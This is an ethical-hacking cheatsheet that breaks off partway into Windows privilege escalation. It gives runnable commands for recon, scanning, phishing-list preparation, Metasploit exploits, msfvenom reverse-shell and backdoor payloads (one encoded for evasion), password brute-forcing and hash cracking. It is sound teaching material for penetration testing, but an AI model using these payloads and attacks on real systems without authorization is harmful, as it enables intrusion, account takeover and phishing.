Cheatsheet for Ethical Hackers (2025)

📖 Table of Contents

🧱 Linux Essentials

🔍 Recon & OSINT

📡 Network Scanning & Enumeration

⚠️ Vulnerability Discovery & Identification

💥 Access & Exploitation

🔼 Escalation & Persistence

🌐 Web Application Attacks

📶 Wireless Attacks

🧰 Scripting & Automation

🧱 Linux Essentials

📁 File & Directory Commands

🔐 Permissions & Ownership

🖥️ Bash Shortcuts & Productivity

⚙️ Running & Creating Scripts

📡 Process & Network Monitoring

🌐 Common Ports (Most Used)

⚡ Quick Reference

📁 File & Directory Commands

```
# 🗂️ Viewing Files & Folders
ls                  # List files and folders

ls -l               # Detailed list (perms, size, date)

ls -la              # Include hidden files

ls -lh              # Human-readable sizes


# 📍 Moving Around
pwd                 # Print current directory

cd /etc             # Go to /etc directory

cd ~                # Go to home directory

cd ..               # Go up one level

cd -                # Go to previous directory
```

```
# 🏗️ Creating Things
mkdir test        # Create folder "test"

mkdir -p a/b/c    # Create nested dirs

touch file.txt    # Create or update file


# 📝 Viewing & Reading Files
cat file.txt      # Show file content

head file.txt     # First 10 lines

head -n 20 file.txt  # First 20 lines

tail file.txt     # Last 10 lines

tail -f logs.txt  # Live view file changes

less file.txt     # Scroll file (q to quit)


# 📋 Copying, Moving & Renaming
cp file.txt /tmp/        # Copy file to /tmp

cp -r dir1 dir2          # Copy folder recursively

cp -i file.txt file.bak  # Copy with confirm

mv file.txt /tmp/        # Move file to /tmp

mv old.txt new.txt       # Rename file


# ❌ Deleting Files & Folders
rm file.txt              # Delete file

rm -i file.txt           # Ask before delete

rm -rf folder/           # Force delete folder ⚠️

rmdir emptydir/          # Remove empty folder


# 🕵️ Finding & Searching
find / -name "*.conf" 2>/dev/null   # Find .conf files (ignore errors)

find . -type f -size +10M           # Find files >10MB

grep "root" /etc/passwd             # Search "root" in file
```

```
grep -r "password" /etc/            # Recursive search

grep -i "user" file.txt             # Case-insensitive search


# 📄 File Information
file script.sh          # Detect file type

du -sh *                # Folder sizes

df -h                   # Disk space (human)

stat file.txt           # File info & perms


# 🔗 Links
ln file.txt hard.txt    # Make hard link

ln -s /etc/passwd link  # Make soft (symbolic) link


# 📦 Archive & Compress
tar -czf files.tar.gz folder/   # Compress to .tar.gz

tar -xzf files.tar.gz           # Extract .tar.gz

zip -r files.zip folder/        # Zip folder

unzip files.zip                 # Unzip archive


# 🧹 Clean Up
rm -rf /tmp/*        # Delete temp files ⚠️

history -c           # Clear command history
```

🔐 Permissions & Ownership

```
chmod +x script.sh        # Make file executable

chmod 755 file.sh         # Owner=rwx, group=rx, others=rx

chmod 644 file.txt        # Owner=rw, group=r, others=r

chmod -R 755 /path/       # Set perms for all files in folder

chown user:group file.txt # Change owner and group

chown -R user:group /dir  # Change owner/group recursively

chgrp staff file.txt      # Change file's group only

ls -l                     # Show permissions and ownership
```

```
stat file.txt             # Detailed file info and perms

umask                     # Show default permission mask

umask 022                 # Set default mask (files 644, dirs 755)

chmod 4755 file           # Setuid (run as owner)

chmod 2755 dir            # Setgid (inherit group)

chmod +t /tmp             # Sticky bit (only owner can delete)

find / -perm -4000 2>/dev/null   # Find setuid files

find / -perm -2000 2>/dev/null   # Find setgid files
```

🖥️ Bash Shortcuts & Productivity

```
Ctrl + C        # Stop running command

Ctrl + Z        # Pause current process (bg/fg to resume)

Ctrl + R        # Search command history

history         # Show previous commands

!!              # Run last command again

!n              # Run command number n from history

!sudo           # Re-run last command with sudo

clear           # Clear terminal screen

reset           # Reset messed-up terminal

echo $USER      # Show current username

echo $PWD       # Show current working directory

echo $SHELL     # Show current shell path

alias ll='ls -lah'     # Create command shortcut

unalias ll             # Remove alias

export PATH=$PATH:/opt/tools  # Add folder to PATH

source ~/.bashrc       # Reload bash settings

tab + tab              # Autocomplete commands/files
```

```
↑ / ↓                   # Scroll through command history
```

⚙️ Running & Creating Scripts

```
#!/bin/bash              # Shebang: use Bash to run this script

chmod +x script.sh       # Make script executable

./script.sh              # Run script from current directory

bash script.sh           # Run script with bash explicitly

sh script.sh             # Run script with sh

./script.sh &            # Run script in background

nohup ./script.sh > out.log 2>&1 &   # Background, ignore hangups, log output

./script.sh & disown     # Detach job from shell

sudo ./script.sh         # Run script as root

echo $?                  # Show exit code of last command (0 = success)

set -e                   # In scripts: exit on first error
```

📡 Process & Network Monitoring

```
ps aux                  # List running processes

top                     # Interactive process viewer

htop                    # Enhanced top (if installed)

kill 1234               # Graceful kill by PID

kill -9 1234            # Force kill by PID

netstat -tuln           # Show listening ports (legacy)

ss -tuln                # Show listening ports (modern)

ip addr                 # Show network interfaces and IPs

ip route                # Show routing table

ip link set eth0 up     # Bring interface up

ip link set eth0 down   # Bring interface down

ping 1.1.1.1            # ICMP ping to check connectivity
```

```
traceroute 1.1.1.1     # Trace network path to host

nmap -sS 192.168.1.0/24   # TCP SYN scan a subnet

nmap -p 1-65535 -T4 host   # Full port scan (slower)

tcpdump -i eth0         # Capture packets on interface (requires root)

tcpdump -i eth0 -c 100  # Capture 100 packets then stop

tshark -i eth0          # CLI packet analyzer (Wireshark CLI)

curl http://host        # Fetch HTTP page

curl -I http://host     # Show HTTP headers only

wget http://file        # Download file via HTTP

ss -s                  # Summary of socket stats

lsof -i -P -n          # List open network files/sockets
```

🌐 Common Ports (Most Used)

Port	Protocol	Description
21	FTP	File transfers
22	SSH	Secure shell
53	DNS	Name resolution
80	HTTP	Web traffic
443	HTTPS	Secure web traffic
3306	MySQL	Database service
3389	RDP	Windows remote

⚡ Quick Reference

```
whoami                 # Show current logged-in user

date                   # Display system date and time

uptime                 # Show system uptime and load

df -h                  # Disk usage (human-readable)

du -sh folder/         # Folder size summary

free -h                # Show memory usage

uname -a               # Kernel and system information

passwd                 # Change your current password
```

```
ssh user@ip            # Connect to remote system via SSH

scp file user@host:/path/   # Copy file securely to remote host

tar -cvf file.tar folder/   # Create tar archive

tar -xvf file.tar           # Extract tar archive

gzip file.txt          # Compress file with gzip

gunzip file.txt.gz     # Decompress gzip file
```

🔍 Recon & OSINT

🌐 Passive Recon (No direct contact)

🔧 Active Recon (You touch the target)

📬 theHarvester — OSINT Multitool

🧭 Amass — Subdomain Enumeration

🌍 DNS & Subdomain Tools

🕵️ Social Recon & Phishing Prep

🌐 Passive Recon (No direct contact)

```
# 🔭 Exposed Devices & Services
shodan search 'org:"Company" port:22'      # Shodan: find org devices with SSH

censys search 'services.service_name:HTTP' # Censys: find HTTP services & certs


# 📜 Certificates & Subdomains
curl 'https://crt.sh/?q=%25.example.com&output=json'  # crt.sh: find subdomains via
certs

amass enum -passive -d example.com    # Amass: passive subdomain enumeration

subfinder -d example.com -silent      # Find subdomains from public sources


# 📬 Email & Host Harvesting
theHarvester -d example.com -b all    # Collect emails and hosts

recon-ng                              # Interactive OSINT framework

# ⏰ Historical Data
waybackurls example.com               # Get old URLs from Wayback

gau example.com                       # Get archived URLs (CommonCrawl + Wayback)


# 🌍 Domain & DNS Info
```

```
whois example.com                     # Domain owner, registrar, expiry

dig +short NS example.com             # List name servers

dig +short example.com                # Resolve domain to IP


# 🕸 Robots & Hidden Paths
curl -s http://example.com/robots.txt       # View restricted or hidden paths


# 🔍 Google & GitHub Dorks
site:example.com ext:sql              # Google: find indexed .sql files

intitle:"index of" "backup"           # Google: find exposed directories

site:github.com "example.com" "password"    # GitHub: look for leaked secrets


# 🧩 Metadata & File Scraping
exiftool file.docx                    # Extract author and metadata

strings image.png                     # Reveal embedded text or data


# 🧠 Tech Fingerprinting
whatweb example.com                   # Detect CMS, server, tech stack

builtwith example.com                 # BuiltWith: web tech info


# 🖼️ Site Snapshots
urlscan-cli submit https://example.com --no-async   # Submit to urlscan.io

curl -s "https://r.jina.ai/http://example.com" | head -n 5   # Quick text snapshot


# 🧭 Passive DNS & Enrichment
securitytrails query domain example.com     # SecurityTrails lookup (API)

crt.sh -d example.com                       # crt.sh domain lookup


# ⚙️ Recon Workflow
amass enum -passive -d example.com          # Collect subdomains

subfinder -d example.com -silent            # Gather more subdomains

waybackurls example.com | grep -E '\.sql|/backup'  # Find leaks in archives


# ⚠️ Notes
# Passive recon = using public data. No direct contact. Always stay within legal scope.
```

🔧 Active Recon (You touch the target)

```
# 🧭 Port Scanning & Service Discovery
nmap -sV -Pn example.com      # Version detection, skip host discovery

nmap -p- -T4 -Pn example.com  # Scan all ports quickly (1-65535)

nmap -A -T4 example.com       # Aggressive: OS, versions, scripts

nmap -sC -sV -oA nmap_basic example.com  # Default scripts + version, save output

masscan -p1-65535 192.168.1.0/24 --rate=1000
# Masscan: very fast port sweep (use responsibly)

rustscan 192.168.1.1 -a 1.1.1.1  # Fast port discovery (if installed)


# 📄 Banner Grabbing (manual)
nc example.com 80             # Open raw TCP connection to port 80

curl -I http://example.com    # Fetch HTTP headers

telnet example.com 25         # Connect to SMTP for banner check


# 🛰️ DNS ENUMERATION & BRUTE
dig ANY example.com           # Query available DNS records

host -t mx example.com        # Lookup MX (mail) records

dig @ns1.example.com axfr example.com    # Try zone transfer (AXFR)

dnsenum example.com           # DNS enumeration script

dnsrecon -d example.com       # DNS recon (brute, AXFR, SRV, etc)

fierce -dns example.com       # DNS discovery and bruteforce


# 🌐 Web & Directory Discovery
gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt
# Bruteforce directories and files

dirb http://example.com /usr/share/wordlists/dirb/common.txt
# Simple directory brute force

ffuf -u https://example.com/FUZZ -w /path/wordlist
# Fast web fuzzer for files/dirs/params

nikto -h http://example.com   # Web server vulnerability scan

wpscan --url https://example.com --enumerate u,vp  # WordPress scan (if WP)
```

```
# 🧪 Vulnerability & Service Checks
nmap --script vuln -sV example.com       # Run NSE vuln scripts

nmap --script smb-enum-shares.nse -p445 example.com
# SMB share enumeration via NSE

nikto -h http://example.com      # Web vulns (again for emphasis)


# 🪟 SMB / Windows Enumeration
smbclient -L //192.168.1.10 -U guest    # List SMB shares (anonymous)

enum4linux -a 192.168.1.10     # AD & SMB enumeration (Linux tool)

smbmap -H 192.168.1.10         # Map SMB shares and permissions


# 🔍 Service Fingerprinting & Exploitable Checks
curl -sI http://example.com | head -n 20  # Quick header fingerprint

whatweb example.com   # Web tech detection (active)

sslscan example.com:443   # SSL/TLS cipher and cert scan


# 🧰 Misc Active Tools & Tips
traceroute example.com    # Path/midpoint discovery

arp-scan -l               # Discover hosts on local LAN

hydra -L users.txt -P pass.txt ssh://192.168.1.5
# Online brute force (only with permission)

# ⚠️ Notes
# Active recon touches the target — ALWAYS have authorization and stay in scope.
# Log timestamps and results; avoid noisy scans on production without permission.
```

📬 theHarvester: OSINT Multitool

```
theHarvester -d example.com -b all           # Collect emails, hosts, subdomains from
many sources

theHarvester -d microsoft.com -b bing        # Use specific backend (bing, google,
shodan, etc.)

theHarvester -d example.com -b google -l 500 # Limit results (here: max 500)

theHarvester -d example.com -b all -f out.html
# Save output to file (HTML, CSV, or XML based on extension)

theHarvester -d example.com -b shodan       # Query a single backend (Shodan)
```

```
theHarvester -h    # Show help and available backends

theHarvester -d example.com -b all -l 100 -f results.csv
# Common: collect limited results and export for analysis

# Tips:
# Use output (CSV/HTML) to build phishing lists, feed subdomain brute tools, or profile people.
# Some backends may require API keys or have rate limits — check tool help.
# Always validate and enrich harvested data before acting (passive only unless authorized).
```

🧭 Amass: Subdomain Enumeration

```
amass enum -passive -d example.com           # Passive sources only (no direct DNS queries)

amass enum -d example.com -o subs.txt        # Run full enum and save subdomains to subs.txt

amass enum -d example.com -o subs_with_ips.txt -ip
# Include resolved IPs with output

amass enum -d example.com -brute -w /path/wordlist.txt
# Enable brute-force with a wordlist (find more subdomains)

amass enum -d example.com -src -o subs_src.txt
# Include source attribution for each discovery

amass enum -d example.com -r 8.8.8.8,8.8.4.4 -o subs_resolvers.txt
# Use specific DNS resolvers (comma-separated)

amass enum -d example.com -config /path/amass_config.ini -o subs_cfg.txt
# Use config file (API keys, sources) and save output

amass db -d example.com -src               # Show DB entries for domain with sources

amass track -d example.com -o changes.txt  # Track and save changes over time

# Quick tips:
# Passive = safer and slower; -brute or custom resolvers will actively query DNS.
# Always use active techniques only with authorization.
```

⚙️ Tip: Add API keys in `~/.config/amass/config.ini` to improve passive results.

🌍 DNS & Subdomain Tools

```
# 🧭 Enumeration & Zone Transfer
dnsenum example.com                  # DNS enumeration, host discovery, try AXFR

dnsrecon -d example.com -a           # Aggressive DNS recon (AXFR, brute, SRV)
```

```
sublist3r -d example.com             # Fast subdomain scraping via search engines


# 🔎 Passive & Discovery
subfinder -d example.com -silent     # Passive subdomain discovery (projectdiscovery)

amass enum -d example.com -brute     # Active + brute-force subdomain enumeration

findomain -t example.com             # Quick subdomain enumeration (alternative)


# 🛡️ Certificate Transparency
crt.sh lookup example.com            # Cert transparency check for subdomains


# 🛰️ DNS Lookups & Records
dig +short example.com               # Resolve domain to IP(s)

host -t A example.com                # DNS A record lookup

host -t mx example.com               # DNS MX (mail) lookup


# ⚡ Bulk Resolve & Probe
massdns -r resolvers.txt -t A -o S names.txt
# Resolve many names quickly with massdns (needs resolvers file)

dnsx -a -resp -r resolvers.txt < names.txt
# Fast probing & resolution (dnsx)


# 🧩 VHost & Virtual Host Discovery
ffuf -u https://example.com/FUZZ -w subdomains.txt -H "Host: FUZZ.example.com"
# VHost discovery using subdomain wordlist


# 🗄️ Data & DB
amass db -d example.com -src         # Show amass DB entries with source attribution


# 📝 Notes & Workflow
# Combine passive + active: collect names -> resolve (massdns/dnsx) -> verify live
hosts.
# Always have authorization before active bruteforce or wide DNS queries.
```

🕵️ Social Recon & Phishing Prep

```
# 🎯 LinkedIn & Public Profiles
site:linkedin.com "Company" "Employees"   # Find employee pages on LinkedIn

site:linkedin.com/in "Company"    # Individual LinkedIn profiles

# 🔎 GitHub & Code Search
```

```
site:github.com "companyname"     # Find company repos or leaked code

org:companyname filename:.env OR ext:env      # GitHub dork: env files / secrets

# ✉️ Email Formats & Permutation
j.doe@example.com                 # Example: first.last format
john.d@example.com                # Example: first.l format
john.doe@example.com              # Example: full name format

# 🔁 Generate permutations (example)
python3 email-permuter.py > emails.txt    # Script: generate common email permutations

# ✅ Email Harvesting & Tools
theHarvester -d example.com -b all     # Harvest emails/hosts from many sources

hunter.io example.com      # Hunter: find email patterns (web/API)

# 🔐 Verify / SMTP Checks
nc -vz mail.example.com 25      # Check SMTP port (connectivity)
telnet mail.example.com 25      # Manual SMTP connect to test deliverability
smtp-user-enum -M VRFY -U users.txt -t mail.example.com
# Verify usernames via SMTP (only if permitted)

# 🔍 Leak Searches & Breach Checks
site:pastebin.com "example.com"     # Search Pastebin for leaks
site:dehashed.com "example.com"     # Search DeHashed for breaches (web)
haveibeenpwned --email j.doe@example.com      # HIBP check (use API/web)

# 📄 SPF / DKIM / DMARC & Header Checks
dig +short TXT example.com | grep -i spf     # Quick SPF record check
dig _dmarc.example.com txt                   # Quick DMARC lookup
openssl s_client -connect mail.example.com:25 -starttls smtp -crlf
# Manual SMTP/TLS check for server response and certs

# 🖼️ Image & Profile Metadata
exiftool avatar.jpg       # Extract metadata from images (EXIF)

# 📧 Phishing List Prep & Tools
echo "email,first,last,company" > phish.csv      # Start CSV for phishing list
printf "j.doe@example.com,John,Doe,Example\n" >> phish.csv
setoolkit                                        # Social-Engineer Toolkit
(interactive)

# 💼 Quick tips
# Validate emails before sending (SMTP/HIBP/bounce checks)
# Keep phishing templates realistic and targeted (use OSINT to personalize)
# Use small, controlled tests and always measure clicks/opens ethically

# ⚠️ Legal & Ethics
# Only perform social-engineering or phishing with explicit authorization and in-scope.
# Document scope, consent, and timestamps; preserve evidence and respect privacy.
```

📡 Network Scanning & Enumeration

🌐 Host Discovery (Who's Alive?)

🧪 Nmap: Port Scanning & Scripting

🧩 Service & Version Enumeration

📂 Protocol Enumeration (SMB, FTP, NFS, SNMP)

🕵️ OS Fingerprinting & Web Tech Stack

🌐 Host Discovery (Who's Alive?)

```
# 🕵️ ARP / LAN Discovery
netdiscover -r 192.168.1.0/24     # Find IPs, MACs, vendors on local LAN

arp-scan -I eth0 192.168.1.0/24   # Accurate ARP discovery (requires root)

arping -c 3 192.168.1.1           # Send ARP requests to verify a single host


# 📡 ICMP / Ping Sweeps
fping -g 192.168.1.0/24           # Fast ICMP ping sweep of a subnet

ping -c 3 192.168.1.1             # Quick ping check (3 packets)


# 🔎 Nmap / Host Probes (non-port)
nmap -sn 192.168.1.0/24           # Ping scan: list live hosts, no port scan

nmap -Pn 192.168.1.1              # Treat host as up (skip ping), useful behind
firewalls


# ⚡ Ultra-fast TCP/UDP Discovery
masscan -p1-65535,U:1-65535 192.168.1.0/24 --rate=1000
# Very fast sweep of TCP+UDP ports; tune --rate and use responsibly


# 🗄️ Local Cache & Tables
ip neigh                          # Show kernel ARP table (IP ↔ MAC)

arp -a                            # Show cached ARP entries


# 🪟 Windows / NetBIOS Discovery
nbtscan 192.168.1.0/24            # NetBIOS names, hostnames, MACs (Windows networks)


# 🔐 Privilege note
# Many discovery tools need root; prefix with sudo when required (e.g., sudo arp-scan,
sudo masscan)


# ⚠️ Quick tips
```

```
# Start with ARP/ICMP for LANs, use nmap -sn for remote ranges, and only use masscan
with permission.
```

🧪 Nmap: Port Scanning & Scripting

```
# 🔢 Default top ports (fast)
nmap example.com            # Default scan (top 1000 TCP ports)

# 🔍 Full TCP scan
nmap -p- example.com        # Scan all 65535 TCP ports

# 🎯 Specific ports
nmap -p 21,22,80,443 example.com        # Scan listed ports only

# 🥷 Stealth SYN scan
nmap -sS example.com        # TCP SYN (stealth) scan

# 🧭 UDP scan (slow)
nmap -sU example.com        # UDP ports (DNS, SNMP, etc.)

# ⚡ Aggressive scan (OS, services, NSE)
nmap -A example.com         # OS, versions, traceroute, scripts

# 🪪 OS fingerprinting
nmap -O example.com         # Try to detect target OS

# 📄 Service version detection
nmap -sV example.com        # Detect service versions

# 🧰 NSE scripting (scripts categories)
nmap --script=default example.com       # Run default NSE scripts
nmap --script=vuln example.com          # Run vulnerability-detection scripts
nmap --script=http-title example.com    # Get web page title

ls /usr/share/nmap/scripts/       # List all installed NSE scripts

# ⚙️ Tuning & stealth options
nmap -T4 example.com          # Timing template (T0 slow - T5 fast)
nmap -D RND:10 example.com    # Use 10 random decoys
nmap -f example.com           # Fragment packets (evasion attempt)

# ⚙️ Host discovery / ping behavior
nmap -Pn example.com         # Treat host as up (skip ping/discovery)

# 💾 Save output
nmap -oN scan.txt example.com           # Save normal output to file
nmap -oX scan.xml example.com           # Save XML output (automation)

# 🔐 Privilege note & tips
# Use sudo for low-level scans (udp, arp, raw sockets). Always have permission before
scanning.
```

```
# ⚡ Full aggressive scan combo
nmap -sS -sV -p- -A -T4 example.com -oN fullscan.txt
```

🧩 Service & Version Enumeration

```
# 🔎 Nmap Version Detection
nmap -sV --version-intensity 5 example.com    # Service version detection (intensity 0-
9)

nmap --script=banner example.com     # NSE banner script to grab service banners


# 🛠️ Manual Banner Grabbing
nc example.com 80     # Open raw TCP to port 80 (type HTTP requests)

printf "HEAD / HTTP/1.0\r\nHost: example.com\r\n\r\n" | nc example.com 80
# Send HTTP HEAD and display response headers

telnet example.com 25           # Connect to SMTP to view banner

curl -I http://example.com      # Fetch HTTP headers (server info)

ssh -v user@example.com         # SSH verbose: show server version & methods


# 🧰 Listener / Testing
nc -lvnp 4444       # Start TCP listener (for reverse shell testing)


# ⚠️ Notes
# Use sudo when required (raw sockets, nmap); only enumerate services with permission.
```

📂 Protocol Enumeration (SMB, FTP, NFS, SNMP)

```
# NetBIOS / SMB
nbtscan 192.168.1.0/24                  # Windows hostnames/domains
enum4linux -a target-ip                 # SMB shares, users, policies
enum4linux-ng -A target-ip              # Updated SMB enum (Python3 fork)

smbclient -L //target-ip/ -N            # List shares (try anonymous)

# SMB downloads
smbget -R smb://target-ip/share         # Recursively download shared files

# RPC & null sessions
rpcclient -U "" -N target-ip            # Connect with no password

# NFS
showmount -e target-ip                  # View exported NFS shares

# Permissions mapping
smbmap -H target-ip                     # Show access per share
```

```
# On compromised host
smbstatus                               # List active Samba sessions
```

🕵️ OS Fingerprinting & Web Tech Stack

```
# OS detection
nmap -O target-ip                       # Active OS detection
xprobe2 -v target-ip                    # Alternative OS fingerprinting
p0f -i eth0                             # Passive OS detection from live traffic

# Banner grabbing (manual & scripted)
nc target-ip 22                         # SSH or HTTP banner
telnet target-ip 25                     # SMTP banner
curl -I http://target-ip                # Get headers (Server, X-Powered-By)
nmap --script=banner target-ip          # NSE banner check

# Web tech identification
whatweb http://target-ip                # CMS, frameworks, server stack
httprint -h target-ip                   # Web server fingerprinting (less common)
sslscan target-ip                       # SSL/TLS version & cipher details
```

⚠️ Vulnerability Discovery & Identification

🧪 Core Vulnerability Scanners

🧠 Manual Discovery Tactics

📚 Exploit & CVE Lookup

🚨 Common Misconfigurations & Weak Spots

🔗 Useful Reference Links

🧪 Core Vulnerability Scanners

```
nmap -sV --script=vuln target.com
# Run default NSE vulnerability scripts (CVE checks, misconfigs)

nikto -h http://target.com
# Scan for outdated server software, default files, and insecure headers

sqlmap -u "http://target.com/page?id=1" --batch --dbs
# Automatic SQL injection finder + database extractor

wpscan --url http://target.com --enumerate u
# WordPress scanner (users, plugins, themes, CVEs)
# Add --api-token=YOUR_TOKEN for full database access

nuclei -u http://target.com -t cves/
# Blazing fast CVE scanner — needs updated nuclei-templates
# Templates: https://github.com/projectdiscovery/nuclei-templates

arachni http://target.com --report-save-only-positives
# OWASP Top 10 web app scanner; slow but thorough
```

```
burpsuite
# GUI-based scanner, use for login flows, headers, file uploads
# Useful with Burp extensions like ActiveScan++ and Software Vulnerabilities

gvm-setup && gvm-check-setup
# Sets up OpenVAS/GVM full-featured network scanner
# Web GUI: https://localhost:9392

/opt/nessus/sbin/nessusd
# Start Nessus daemon — commercial-grade scanner
# Web GUI: https://localhost:8834
```

🧠 Manual Discovery Tactics

```
nc target.com 80                    # Grab banner
telnet target.com 22                # SSH version check
curl -I http://target.com           # HTTP headers

nmap -sV target.com
# Detect service versions — map them to CVEs manually (see CVE lookup tools)

# Try default or weak credentials manually (SSH, FTP, CMS, Routers)
# Examples: admin:admin, root:toor, ftp:ftp

ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt
wfuzz -z file,/usr/share/wordlists/dirb/big.txt -u http://target.com/FUZZ
# Find hidden directories or backup/config files

curl -X POST -d 'user=admin&pass=pass' http://target.com/login
# Test for weak or logic-bypassed auth
```

📚 Exploit & CVE Lookup

```
searchsploit apache
searchsploit -w openssl
# Search local Exploit-DB (comes with Kali)

exploitdb -s CVE-2023-1234
# Search Exploit-DB by CVE — install from: https://github.com/offensive-
security/exploitdb

./CVE.sh apache
# Lightweight CLI tool to fetch CVEs from CLI
# Repo: https://github.com/cheetz/CVE-Search-Tools

cve-search -q nginx
# Requires local MongoDB-based CVE DB
# Setup: https://github.com/cve-search/cve-search

msfconsole
> search type:exploit keyword
```

```
> use exploit/windows/smb/ms17_010
# Use Metasploit to test and run known exploits
```

🚨 Common Misconfigurations & Weak Spots

```
# Default creds
# Check login pages, services like Redis, MongoDB, Jenkins, FTP

# Directory indexing
# Visit http://target.com/ and look for open folders (e.g. /uploads/)

# Verbose errors
# Submit bad input and review HTML or JSON response for debugging info

# Open databases or services
# No-auth Redis, Elasticsearch, Jenkins, MySQL

# Exposed files
# Try common backups or dev files: /backup.zip, /.env, /config.old.php

# File uploads
# Test upload forms with Burp
# Try: file.php.jpg, file.php%00.jpg, file.pHp, or missing content-types
```

🔗 Useful Reference Links

- **Nuclei Templates:**
  https://github.com/projectdiscovery/nuclei-templates
  (Regularly updated CVE checks — sync weekly)
- **SearchSploit (CLI):**
  https://github.com/offensive-security/exploitdb
- **CVE.sh (Simple CVE CLI tool):**
  https://github.com/cheetz/CVE-Search-Tools
- **Burp Suite Extensions (Top-rated):**
  https://portswigger.net/bappstore
- **Exploit-DB (online):**
  https://www.exploit-db.com
- **CVE Details Search:**
  https://www.cvedetails.com

💥 Access & Exploitation

🔎 Finding & Running Exploits

⚙️ Metasploit Framework (msfconsole)

🧬 Payload Creation with msfvenom

🕸️ Web Exploitation Tools

🛠️ Online Brute Forcing

🔐 Offline Password Cracking

🧠 Hash Identification & Wordlists

🔎 Finding & Running Exploits

```
# Search Exploit-DB locally
searchsploit apache 2.4.49
searchsploit -x exploit/path.txt         # View full exploit code

# Online Exploit-DB
https://www.exploit-db.com                # Download PoCs manually

# Run Python/C exploits
python3 exploit.py                        # Edit LHOST, RHOST, ports
gcc exploit.c -o exploit && ./exploit     # Compile C-based exploits

# Fetch scripts or PoCs from web
wget https://example.com/exploit.sh
chmod +x exploit.sh && ./exploit.sh
```

⚙️ Metasploit Framework (msfconsole)

```
msfconsole                                # Start Metasploit

search vsftpd                             # Search for an exploit
use exploit/unix/ftp/vsftpd_234_backdoor  # Load exploit module
show options                              # Show required settings

set RHOSTS 10.10.10.5                     # Target
set LHOST 10.10.14.2                      # Your IP
set PAYLOAD windows/meterpreter/reverse_tcp
exploit                                   # Launch attack

sessions -l                               # List active sessions
sessions -i 1                             # Interact with session
background                                # Background current session
db_nmap -sV 192.168.1.0/24                # Nmap scan within Metasploit DB
```

🧬 Payload Creation with msfvenom

```
# Windows EXE reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f exe >
shell.exe

# Linux ELF reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f elf >
shell.elf

# Android backdoor APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -o backdoor.apk

# PHP payload
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f raw > shell.php
```

```
# Obfuscated payload
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=4444 -e x86/shikata_ga_nai
-i 3 -f exe > encoded.exe

# In Metasploit: deliver dynamic payload via script
use exploit/multi/script/web_delivery
```

🕸 Web Exploitation Tools

```
# SQL injection (automatic)
sqlmap -u "http://target.com/page.php?id=1" --batch --dbs

# XSS detection
xsstrike -u "http://target.com/search?q=test"

# Web fuzzing
wfuzz -u http://target.com/page.php?file=FUZZ -w wordlist.txt
ffuf -u http://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt

# Web proxy + scanner
burpsuite
# Intercept, fuzz, inject, and scan web requests via GUI
```

🛠 Online Brute Forcing

```
# FTP brute-force
hydra -l admin -P rockyou.txt ftp://192.168.1.100 -f -V

# SSH brute-force
hydra -l root -P rockyou.txt ssh://192.168.1.100 -t 4 -f -V

# RDP brute-force
hydra -l admin -P rockyou.txt rdp://192.168.1.100 -V -f -t 4

# HTTP GET brute-force
hydra -L users.txt -P passwords.txt 192.168.1.100 http-get /login -f -V

# SMB login brute-force
hydra -L users.txt -P passwords.txt smb://192.168.1.100

# Medusa (modular brute-force)
medusa -h 192.168.1.100 -u root -P rockyou.txt -M ssh

# Patator (flexible, scriptable)
patator ssh_login host=192.168.1.100 user=admin password=FILE0 0=rockyou.txt \
-x ignore:mesg='Authentication failed'
```

🔐 Offline Password Cracking

```
# John the Ripper
unshadow /etc/passwd /etc/shadow > hashes.txt
```

```
john --wordlist=rockyou.txt hashes.txt
john hashes.txt --show                        # Reveal cracked passwords
john --list=formats                           # View supported hash formats

hashcat --help | grep -i hash-mode      # View all hash modes

# Hashcat (GPU cracking)
hashcat -m 0 -a 0 md5.txt rockyou.txt         # MD5
hashcat -m 1000 -a 0 ntlm.txt rockyou.txt     # NTLM
hashcat -m 1800 -a 0 sha512.txt rockyou.txt   # SHA512crypt
hashcat -m 22000 -a 0 wifi.hc22000 rockyou.txt  # WPA2 WiFi
hashcat -m 3200 -a 0 bcrypt.txt rockyou.txt   # bcrypt
```

🧠 Hash Identification & Wordlists

```
# Hash type identification
hashid hash.txt
hash-identifier                               # Interactive

# Online: https://www.tunnelsup.com/hash-analyzer/

# Wordlists
gunzip /usr/share/wordlists/rockyou.txt.gz    # Decompress rockyou.txt (default in Kali)
# SecLists: https://github.com/danielmiessler/SecLists

# Generate custom wordlists
crunch 8 10 abcdef1234                        # Generate 8-10 char passwords
cewl http://target.com -w custom.txt          # Crawl & extract target-specific words
```

🔼 Escalation & Persistence

🐧 Linux Privilege Escalation – Manual

⚙️ Linux PE – Automated Tools

🪟 Windows Privilege Escalation – Manual

⚙️ Windows PE – Automated Tools

🧬 Kernel Exploits (Examples)

🔒 Persistence Techniques

🧪 Credential Dumping

🎭 Session Hijacking

📤 Data Exfiltration

🐚 Shell Stabilization & Backgrounding

🕵️ Anti-Forensics

📚 Essential Resources

🐧 Linux Privilege Escalation – Manual

```
# Sudo permissions (low-hanging fruit)
sudo -l

# SUID binaries (run as root)
find / -perm -4000 -type f 2>/dev/null

# Writable SUID binaries (check for privilege abuse)
find / -writable -perm -4000 -type f 2>/dev/null

# Cron jobs (privileged scheduled tasks)
crontab -l
ls -la /etc/cron*
cat /etc/crontab

# Kernel version (check against known local exploits)
uname -a

# Writable directories in $PATH (PATH hijack potential)
echo $PATH
ls -ld $(echo $PATH | tr ':' '\n')
```

⚙️ Linux PE – Automated Tools

```
# linPEAS (comprehensive enum)
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh && ./linpeas.sh

# Linux Exploit Suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-
exploit-suggester.sh
chmod +x linux-exploit-suggester.sh && ./linux-exploit-suggester.sh

# BeRoot (checks misconfigs)
git clone https://github.com/AlessandroZ/BeRoot.git
cd BeRoot/Linux && python3 beroot.py
```

🪟 Windows Privilege Escalation – Manual

```
whoami /priv                          # Token privileges
systeminfo > sysinfo.txt              # CVE matching
